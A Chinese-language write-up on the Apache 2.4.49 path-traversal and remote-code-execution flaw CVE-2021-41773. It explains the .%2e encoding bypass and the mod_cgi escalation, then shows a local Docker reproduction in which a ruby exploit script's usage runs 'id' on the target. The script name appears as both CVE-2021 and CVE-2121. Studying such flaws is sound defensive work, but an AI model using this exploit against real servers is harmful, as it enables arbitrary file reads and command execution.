CVE-2021-41773 根据美国国家漏洞数据库(NVD)CVE-2021-41773,Apache HTTP Server 2.4.49 容易受到路径遍历和远程代码执行攻击。
路径遍历漏洞是由于为路径规范化(即从URL路径中移除不需要或危险的部分)而添加的新代码更改引入的,但它在检测编码路径遍历字符“点点斜杠(../)”的不同技术方面存在不足。 为了防止路径遍历攻击,负责从请求URI中解析URL编码值的规范化函数一次只解析一个Unicode值。因此,当将第二个点编码为%2e时,逻辑无法识别%2e为点,从而不进行解码,这将字符../转换为.%2e/并绕过了检查。
除了绕过路径遍历检查外,要使Apache HTTP服务器易受攻击,HTTP服务器配置应包含整个服务器文件系统的目录指令为Require all granted,或者配置文件中完全缺少该目录指令。 因此,通过将点点检查绕过为.%2e,并将其与配置错误的目录指令结合,攻击者可以从易受攻击的服务器文件系统中读取任意文件,如passwd。
虽然CVE-2021-41773最初被记录为路径遍历和文件泄露漏洞,但进一步的研究得出结论,当Apache HTTP服务器上启用了mod_cgi模块时,该漏洞可被进一步利用以执行远程代码,这允许攻击者利用路径遍历漏洞并通过HTTP POST请求调用系统上的任何二进制文件。
模块在Apache HTTP服务器上默认通过注释配置文件中的上述行来禁用。因此,当mod_cgi被启用并且对文件系统目录指令应用了“Require all granted”配置时,攻击者可以在Apache服务器上远程执行命令。
#如何复现
docker run -dit --name Apache -p 83:80 b0x
#登录容器并执行以下命令
cp /bin/sh /usr/bin/
ruby CVE-2021-41773.rb
# c c wWw wWw -2021-41773
# (OO) (O) (O) wWw
# ,'.--.) ( / ) (O)_
# / //_|_ / / .' __)
# | ___ / / ( _)
# '. ) `--' / `.__)
# `-.' `-..-'
# Author:Habib
# ruby CVE-2021-41773.rb target_url dir command
# ruby CVE-2021-41773.rb http://localhost bin/sh whoami
ruby CVE-2121-41773.rb http://localhost:83
Target: http://localhost:83 is vulnerable
Command:
ruby CVE-2121-41773.rb http://localhost:83 bin/sh id Target: http://localhost:83 is vulnerable
Command: uid=1(daemon) gid=1(daemon) groups=1(daemon)